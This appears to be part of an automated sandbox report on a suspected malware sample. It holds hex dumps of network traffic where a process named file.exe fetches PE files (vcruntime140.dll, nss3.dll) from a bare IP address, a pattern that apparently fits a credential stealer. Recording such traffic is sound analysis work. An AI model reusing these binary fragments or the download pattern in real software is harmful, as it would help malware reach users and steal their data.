2024-07-26 09:26:51 UTC	16384	IN	Data Raw: 03 45 dc 56 8d 4d ec 51 50 57 e8 55 9e ff ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 e8 bf 4d Data Ascii: EVMQPWUkWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGPM
2024-07-26 09:26:51 UTC	16384	IN	Data Raw: 88 41 02 0f b6 41 03 d1 e8 8a 80 68 f9 02 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f 00 00 00 Data Ascii: AAhAAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q
2024-07-26 09:26:51 UTC	16384	IN	Data Raw: 84 30 07 00 00 83 7b 08 14 0f 84 43 01 00 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 23 02 00 Data Ascii: 0{C!=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!#
2024-07-26 09:26:51 UTC	16384	IN	Data Raw: 5d c3 cc cc 55 89 e5 53 57 56 83 ec 10 a1 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 00 00 74 Data Ascii: ]USWV1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=Pt
2024-07-26 09:26:51 UTC	16384	IN	Data Raw: 75 20 85 f6 7e 7a 8b 7d 1c 83 c7 08 c7 45 d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 00 83 c4 Data Ascii: u ~z}EEGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZ
2024-07-26 09:26:51 UTC	16384	IN	Data Raw: 75 08 e8 4d 2b 00 00 83 c4 04 85 c0 74 51 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 00 00 00 Data Ascii: uM+tQH8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.
2024-07-26 09:26:51 UTC	16384	IN	Data Raw: 00 5d c3 b8 00 00 08 00 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff 15 10 7c Data Ascii: ]]USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4\|
2024-07-26 09:26:51 UTC	16384	IN	Data Raw: c7 eb 02 31 ff 8b 4d f0 31 e9 e8 15 8c 00 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb 25 8b 18 Data Ascii: 1M1<^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49734	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:52 UTC	246	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:53 UTC	259	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:52 GMT Content-Type: application/octet-stream Content-Length: 80880 Connection: close Last-Modified: Friday, 26-Jul-2024 09:26:52 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-07-26 09:26:53 UTC	16125	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-07-26 09:26:53 UTC	16384	IN	Data Raw: 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 0c 3b 42 Data Ascii: t3MNB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F;B
2024-07-26 09:26:53 UTC	16384	IN	Data Raw: 8b 45 94 a3 a4 f2 00 10 8d 45 cc 50 e8 39 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 01 74 20 Data Ascii: EEP9Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMGt
2024-07-26 09:26:53 UTC	16384	IN	Data Raw: c9 00 08 00 00 83 e2 18 74 1c 83 fa 08 74 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d 0f 85 12 Data Ascii: ttt@++t+t+u+uQ<0\|*<9&w/c5~bASJCtv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49735	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:54 UTC	238	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:54 UTC	261	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:54 GMT Content-Type: application/octet-stream Content-Length: 2046288 Connection: close Last-Modified: Friday, 26-Jul-2024 09:26:54 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-07-26 09:26:54 UTC	16123	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-07-26 09:26:54 UTC	16384	IN	Data Raw: f2 6b d2 64 89 c7 29 d7 c1 fb 15 01 f3 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 1a e9 51 Data Ascii: kd)i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MAQ
2024-07-26 09:26:54 UTC	16384	IN	Data Raw: 1b 10 51 e8 3d b8 06 00 83 c4 0c 66 83 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b 45 08 8b Data Ascii: Q=fti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$E
2024-07-26 09:26:54 UTC	16384	IN	Data Raw: 08 11 1e 10 40 a3 08 11 1e 10 3b 05 30 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e 10 8b 0d Data Ascii: @;0w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SL
2024-07-26 09:26:54 UTC	16384	IN	Data Raw: 44 24 08 8a 40 12 e9 fc fc ff ff 8b 44 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 dd 1b 10 Data Ascii: D$@D$pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hh
2024-07-26 09:26:54 UTC	16384	IN	Data Raw: d8 25 ff ff ff 7f 89 44 24 1c 85 f6 7e 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 f3 b2 00 Data Ascii: %D$~o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$h
2024-07-26 09:26:54 UTC	16384	IN	Data Raw: 0c 38 e8 8e f3 ff ff 43 83 c7 30 3b 5e 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 8b 5c 24 Data Ascii: 8C0;^h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$\$
2024-07-26 09:26:54 UTC	16384	IN	Data Raw: 00 00 8b 99 4c 01 00 00 85 db 0f 85 82 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 6d ff ff Data Ascii: LHukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-Mm
